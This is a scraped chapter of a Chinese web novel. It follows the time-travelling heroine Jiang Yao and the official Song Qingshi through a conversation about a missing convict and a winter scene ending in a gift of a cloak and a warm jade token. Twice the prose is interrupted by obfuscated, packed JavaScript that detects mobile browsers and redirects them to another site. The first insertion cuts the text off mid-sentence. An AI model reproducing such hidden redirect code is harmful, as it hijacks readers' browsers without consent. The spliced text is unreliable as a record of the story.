看着已经对此见怪不怪的许远宁,江遥无声地笑了一下。她想,好像无论多么正经端庄的人到了小宋大人面前,都会不由自主地放松下来。谢瑜是这样,许远宁也是这样。 小宋大人就是有这么一种不让人拘束的能力。 宋清时这次也没再故意耽搁,重新将江遥的青丝拢在掌心,指尖松松一绾,再用一根白玉簪插起来,一个简单的发髻就梳好了。 发髻绾得简单,几缕未拢住的碎发自然地垂在颈边,配上脑后的白玉簪,竟然意外地给江遥添了几分温婉的江南韵味。 江遥对镜自照时眼中闪过一丝诧异。她回头冲屋外的宋清时说:“你竟然真的会梳?” 她是真的不太擅长此道。景国的姑娘们发髻花样颇多,然而江遥穿过来以后就总爱梳高马尾,一则是符合她这次的人设,二则是因为梳的方法简单。 宋清时立在门边,随口道:“那天你用花枝绾头发,就是这么绾的。” 只是看了一眼就学会了吗,她刚穿过来时还练了好一阵子呢。 江遥忍不住再次感叹对方恐怖如斯的学习力。 “好了,”她朝院中人笑了笑,“你们去谈正事吧,我就不打扰了。” 根据原书的剧情,江遥也大概知道许远宁要和宋清时谈什么,她进了屋中后索性没再出来,把庭院留给了他们二人。 江遥离开后,宋清时很自然地在她之前做过的那张椅子上坐下。 桌上的茶水已经半凉,他挥了挥手,叫下人重新换上了壶新沏的热茶。 茶烟袅袅中,许远宁敏锐地注意到,宋清时在坐下的时候下意识地摸了一下腰间坠着的竹青色香囊。 她的目光也随之一顿,见香囊上绣的图案并不是惯常的花开并蒂或者鸳鸯戏水,而是一只正在梳毛的白色小猫。 这猫瞧着怎么还有点眼熟。 许远宁疑惑道:“这是大理寺门前的那一只吗?但是瞳色好像不太对。” “咳咳。”宋清时刚端起茶盏饮了口茶,闻言猛地呛了一下,耳根泛红。待气息平稳后,他才含糊地解释:“……应该是吧,别人送的……没有细看。” 一个香囊而已,宋清时何时这么扭捏过? 许远宁是何等聪慧的一个人,听到他说是“别人送的”的时候,饶有深意地笑了。她目光看向江遥的屋子,促狭道:“想不到有一天,我们小宋大人也会顽石开花了。” 宋清时放下茶盏。他耳后的红还未散尽,就开始生硬地转移话题:“你来找我,究竟什么事?” 许远宁也不再多调侃,顺势转了话题,提起正事:“阿鬼,在寒州失踪了。” 宋清时斟茶的手顿在半空,皱眉道:“怎么回事?”他派去的人暗中将阿鬼护送到寒州之后就撤走了,并未留意后面的事情。 “几日前,户部的人奉命往寒州巡察,检验苦役名册与真人,”许远宁压低声音,“结果却发现服刑的并非阿鬼本人,只是披着一张同他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“阿鬼的案子是你判的,我担心他之后会来找你寻仇,你之后可要多加小心。”许远宁站起身,轻拍了拍他的肩,“走了,户部还有些事情没处理完。” “今日可是休沐啊,许大人怎么也跟谢知白学得这般勤勉。”宋清时也跟着站起身,恢复了些惯常的散漫,玩笑道。 “没办法,”许远宁双手一摊,一脸无可奈何的样子,“天子有意让五殿下执掌户部,如今他在户部历练,查到了不少问题,我自然要兢兢业业些。” “五殿下?”宋清时眉梢轻扬,有了些兴趣,“依你看,这位品行如何?” 景国以武起国,四方边境均有重兵驻扎,素有皇子去军中历练的传统。 五皇子楚明霄和七皇子楚明远同为最受天子宠爱的淑皇贵妃所生,更是早早地分赴西疆大漠和南境历练,如今细细算来,也有四年了,直到前不久才回京。 宋清时出仕前曾与他们有过些交往,但四年光阴过去,人心易变,从前的情谊,也不知道还有几分。 涉及朝政之事,许远宁说得很委婉:“五殿下自入户部以来,行为虽肆意洒脱了些,但胜在待人真诚,能力也有目共睹,户部同僚无有不赞。” 比起那位说话办事滴水不漏、永远春风拂面的七殿下,人们似乎对这位五殿下更亲近些。 宋清时却不吃她这套官腔,笑问道:“人前这套说辞便罢了,可如今只有你我在场,也不能同我说句实话吗?” “你还真是直接。”许远宁哑然失笑,手指摩挲着茶杯的边缘,沉吟片刻后,她的言辞终是露了几分真意:“好吧,你若是问我的看法,我倒是觉得,论心智手段,五殿下绝不逊色于七殿下。” 许远宁想,能把心思各异、桀骜不驯的大漠各族都治理得服服帖帖之人,怎么可能真的会像表面上那样率性单纯。 楚明霄入户部以来的这些日子,旁人或许看不出来,许远宁却是看得透彻,明白他虽从未惩处过任何人,但却是借着别人的手,清理了不少该清理的人。还有这次阿鬼的事情,若不是他坚持立主严查,恐怕就这样被瞒过去了。 许远宁的话已经近乎直白,对于两位殿下的为人,宋清时也算有了大致的了解。 一阵秋风穿庭而过,将桌上那壶方才还冒着热气的茶重新吹得半凉。 “我真的要告辞了。”许远宁整了整衣袖。 宋清时略微颔首:“恕不远送。” 许远宁转身朝院外走去,就要走出垂花门的刹那,她忽而停住脚步,回头时,恰好落进两侧的雕花垂柱投下的阴影中。她面上的神情晦暗不明,声音却很清晰地被风送了过来,她说:“霜序,今后务必万事小心。” 这是她作为朋友,能给予的最后的提醒了。 盛国的计划即将展开,日后像这样能与故友谈笑风生的日子,恐怕不多了。 37. 散漫傲娇少卿17 江遥虽是帽妖案的策划者,但因为只是割了几人的发丝,未造成实质伤害,又因为协助大理寺破获连环杀人案有功,经大理寺和刑部合议,功过相抵,依照律法判她留寺听用,以观后效。 如此以来,她倒是可以顺理成章地留在宋清时身边了。 她身上的伤着实养了一段时日,随着她的伤一天天愈合结痂,天气也逐渐变冷。秋去冬来,寒来暑往,转眼间已经是隆冬。 这一日寒风凛冽,江遥披着件羊毛披风,整个人裹得跟雪团子一样,急匆匆地从呼啸的风中冲进大理寺的东厅,给屋子里带来一阵寒气。 “今年的冬天,好像格外冷啊,要是能下场雪就好了。”江遥跺了跺脚,把手伸在炉边烤火,“毕竟瑞雪兆丰年嘛,若是下了雪,来年定会丰收。” “下雪?这有点难说,这几年京都的冬天都是暖冬,已经两年没下过雪了。”段昇把门关紧,将凛冽的寒风彻底阻隔在外面,顺手从炉边夹了个热气腾腾的橘子剥了起来,“若说下雪的话,咱们大人应该看得不少,他先前在楚州任职了好多年呢。” “嚯,这橘子还挺烫。”段昇剥橘子剥得手都红了,赶紧凑到耳朵上冰了冰。 正在看卷宗的宋清时连头也没抬,顺手翻过一页卷宗后,慢声道:“在楚州,下雪并不是件好事。” 因为一旦落雪,往往容易导致运河封冻、漕船阻塞。故而每年入冬,当地官员都要提前数月未雨绸缪。 江遥也想到了这里,不由得感叹道:“哎,同样是景国,怎么楚州的冬天和京都的冬天差别如此之大。这么一想,我也不那么盼着下雪了。” 段昇已经剥好了橘子,分了一半给她,笑道:“这就改主意了吗,那看来阿遥姑娘这喜好,仅仅是叶公好龙。” “谁说的,我曾经真的很喜欢的。”江遥接过橘子,刚走到桌前坐下,坐在桌子对面的宋清时就为她倒了杯热茶,将茶杯推到她的面前。 捧着热乎乎的茶杯,江遥又将一片橘瓣塞进嘴里,满足得眯了眯眼,才道:“现在之所以不那么喜欢,是因为之前在雪地里冻了太久,心有余悸罢了。” 她不由得想起自己上个任务刚刚穿来这个世界时,也是一个冬天。那时大雪纷飞,天地皆白,她赤脚走在积雪中,只觉得寒风是那么刺骨,脚下的土地是那么冰凉。 她从来没有那么讨厌过冬天,讨厌过下雪。若不是知道自己之后会遇到谢瑜,拼着一股信念坚持着,或许那时,她真的会倒在那里,再也醒不过来。 说者无意,听者有心。江遥只是随口一提,段昇却着急地追问起来:“是什么时候的事?阿遥姑娘又怎么会遇到这种事?” 一旁看卷宗的宋清时也放下了手上的卷宗,眉心微蹙,一脸关切地看着她。 “大概两年前吧,”涉及到上个攻略任务的事,江遥只捡了些能说的说,说得模棱两可的:“我出任务的时候被匪寇暗算了,抢了财物不说,还看上了我的美色,幸亏我机灵,趁他们夜里歇下了,从土匪窝里跑了出来。” 尽管江遥已经把过程描述得很轻松了,但段昇还是很生气。他几乎要跳起来了:“哪里的土匪,怎得如此猖狂,欺负一个姑娘算什么本事。” “早就已经被官府派兵剿灭了,没事的。”江遥摆摆手,示意他不用动气。 后来段昇没再追问,她以为这件事就算是过去了。 不想等下值以后,她和宋清时两个人并肩走在回宋府的路上,一直沉默着的宋清时突然开口问她:“之后怎么样了?” “什么之后?”宋清时这一路上都一反常态地默不作声,猛然发问,江遥还有点反应不过来。 隆冬的寒风凛冽刺骨,呼啸着穿过各处。江遥不自觉瑟缩了下,将脸往披风里缩了缩。也不知道是不是心理原因,自从上次任务之后,她就格外怕冷。 “明明这么畏寒,还偏爱逞强,连手炉都不拿。”宋清时无奈地叹了口气,停下脚步,将自己的手炉塞到她的手上。 他身上披着件雪青色的鹤氅,像是蒙了一层霜的雪山,衬得里面的月白直裰更加清冷,将他平日里的散漫慵懒压下去了几分。他不说话的时候,整个人都透着一股生人勿近的矜贵疏离之感,但是一开口,又回到了那种熟悉的感觉。 “手炉也总会凉的呀,还要添炭火什么的,用起来很麻烦。”江遥摸着刚到手的手炉,不好意思地抱怨了一下,又将话题绕了回去,“你还没回答我的问题呢,什么之后?” 宋清时不动声色地为她挡下吹来的寒风,才解释道:“方才段昇在,我不便多问。你的经历好像只讲了一半,我是想知道,你逃出土匪窝之后怎么样了,你身无分文,下雪的时候又那么冷,是怎么脱险的?” “那些匪寇后来又有追来吗?” “你的身体有受到影响吗?” “那周围有逆旅可以歇脚吗?” 他一连串问了许多个问题,每问出一个,他脸上的表情就严肃一分。宋清时甚至都不敢细想,两年前的冬天那么冷,还下着雪,也不知道眼前这个笑莹莹的姑娘都经历了什么,难怪她会这般畏寒。 江遥一怔,完全没想到他会在意这些细节,还追问得如此细致。 想到之后的经历,她心绪蓦地有些乱,不自觉地垂下头去,盯着手上手炉的花纹,不知道从何说起。 “抱歉,若是勾起了你不愉快的回忆,那还是不必告诉我了。”看她忽然低下头,一脸失落的样子,宋清时忽然就有些无措。 江遥感受着手炉源源不断的热度,心情稍稍平复了些,她抬起头,对他笑了笑:“也没什么,那时我还挺幸运的,遇到一个很善良的人,他救了我。” 她说得轻描淡写,可宋清时的心却还是疼了一下。看着眼前强颜欢笑的人,他轻轻嗯了一声,没再多说什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539510|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大理寺和宋府离得不远,没走多久就到了。宋清时将江遥送至府门前,并没有一同入内。 晚上,江遥躺在床上,想起白天的事情,不由得担心自己会在宋清时面前露出什么破绽。她一个激灵,赶紧从床上坐起来,问蓝雁:“你说我今天在任务对象面前时,反应是不是太大了?” 蓝雁道:“怕什么,你这不是都换了身份了,就算是谢瑜站到你面前,怕是都认不出来你,还怕宋清时这个不知情的人会发现吗?” “也对,”江遥又放心地躺下,“应该是我多想了。” 蓝雁:“我看啊,你还是太重感情了。你们这种情感派员工就容易出现这种问题,等你做完第三个男主的任务,一定得赶紧去公司的休养处去淡化一下记忆。” 两个人正在讨论呢,忽然听到外面有人叩门的声音。 “谁啊?”江遥一边应着,一边赶紧起身,拿过架子上挂着的披风裹上,就去开门,打开门一看,是一个脸有点生的丫鬟。 确切地说,虽然宋府的下人本来就不多,但江遥基本都不需要让人照顾,所以也没认识几个人。 小丫鬟人很活泼,一见到江遥就把手中的锦盒递给她,道:“是少爷让我来给姑娘的。” 江遥接过后打开一看,见锦盒里面放着一件叠放整齐的雪青色狐裘斗篷和一枚乳白色的平安扣。 小丫鬟笑着解释道:“这平安扣是南疆特有的温石髓所制,终年温度不散。少爷说,姑娘既然不喜欢用手炉,便用此暖手吧。还有,冬日寒冷,望这斗篷,能替姑娘挡一挡人间风雪。” 江遥眼中闪过一丝讶然,但更多的是感动。 小丫鬟打量着她的神色,小心翼翼地继续转述道:“少爷还说,往后姑娘再不用经历从前那样的日子了。” 话已经带到,丫鬟福了福身,便退下了。 而留在原地的江遥看着锦盒里的那两件东西,久久无法回神。 她沉默着关上门,拿起了那枚平安扣。拿起的瞬间,果然感受到了它温暖的热度,没有那么烫,却无孔不入地暖过她的四肢百骸,将她微凉的皮肤慢慢暖热,也让她的心底泛起暖意。 她看着那枚平安扣,忽然就叹了口气。 “我好像时常会低估了他的喜欢。” 江遥想,此后她想到冬天,大概不只会想到刺骨的寒风和凛冽的风雪,更会想到这一天的暖意。 监视器那端,蓝雁也难得沉默了。过了一会儿,她感叹道:“没想到看起来总是漫不经心的小宋大人,是这样妥帖周全的一个人。” 不过想到马上要开始的重要剧情,蓝雁很快恢复了冷静,提醒道: “你先打起精神吧,没过多久就要到那个关键节点了。到时候,正面面对谢瑜,你可别再控制不住情绪了。” 闻言,江遥握着平安扣的手下意识地紧了紧,而后轻轻点了点头。